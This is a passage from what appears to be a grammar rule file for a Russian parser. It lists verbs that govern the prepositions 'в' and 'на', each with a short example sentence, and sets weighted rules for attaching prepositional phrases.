rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
rus_verbs:застукать{}, // застукать на камбузе
rus_verbs:завязывать{}, // завязывать на ботинках
rus_verbs:повисать{}, // повисать на ветке
rus_verbs:подвизаться{}, // подвизаться на государственной службе
rus_verbs:кормиться{}, // кормиться на болоте
rus_verbs:покурить{}, // покурить на улице
rus_verbs:зимовать{}, // зимовать на болотах
rus_verbs:застегивать{}, // застегивать на гимнастерке
rus_verbs:поигрывать{}, // поигрывать на гитаре
rus_verbs:погореть{}, // погореть на махинациях с землей
rus_verbs:кувыркаться{}, // кувыркаться на батуте
rus_verbs:похрапывать{}, // похрапывать на диване
rus_verbs:пригревать{}, // пригревать на груди
rus_verbs:завязнуть{}, // завязнуть на болоте
rus_verbs:шастать{}, // шастать на втором этаже
rus_verbs:заночевать{}, // заночевать на сеновале
rus_verbs:отсиживаться{}, // отсиживаться на чердаке
rus_verbs:мчать{}, // мчать на байке
rus_verbs:сгнить{}, // сгнить на урановых рудниках
rus_verbs:тренировать{}, // тренировать на манекенах
rus_verbs:повеселиться{}, // повеселиться на празднике
rus_verbs:измучиться{}, // измучиться на болоте
rus_verbs:увянуть{}, // увянуть на подоконнике
rus_verbs:раскрутить{}, // раскрутить на оси
rus_verbs:выцвести{}, // выцвести на солнечном свету
rus_verbs:изготовлять{}, // изготовлять на коленке
rus_verbs:гнездиться{}, // гнездиться на вершине дерева
rus_verbs:разогнаться{}, // разогнаться на мотоцикле
rus_verbs:излагаться{}, // излагаться на страницах доклада
rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге
rus_verbs:расчесать{}, // расчесать на макушке
rus_verbs:плавиться{}, // плавиться на солнце
rus_verbs:редактировать{}, // редактировать на ноутбуке
rus_verbs:подскакивать{}, // подскакивать на месте
rus_verbs:покупаться{}, // покупаться на рынке
rus_verbs:промышлять{}, // промышлять на мелководье
rus_verbs:приобретаться{}, // приобретаться на распродажах
rus_verbs:наигрывать{}, // наигрывать на банджо
rus_verbs:маневрировать{}, // маневрировать на флангах
rus_verbs:запечатлеться{}, // запечатлеться на записях камер
rus_verbs:укрывать{}, // укрывать на чердаке
rus_verbs:подорваться{}, // подорваться на фугасе
rus_verbs:закрепиться{}, // закрепиться на занятых позициях
rus_verbs:громыхать{}, // громыхать на кухне
инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу
деепричастие:подвигавшись{},
rus_verbs:добываться{}, // добываться на территории Анголы
rus_verbs:приплясывать{}, // приплясывать на сцене
rus_verbs:доживать{}, // доживать на больничной койке
rus_verbs:отпраздновать{}, // отпраздновать на работе
rus_verbs:сгубить{}, // сгубить на корню
rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
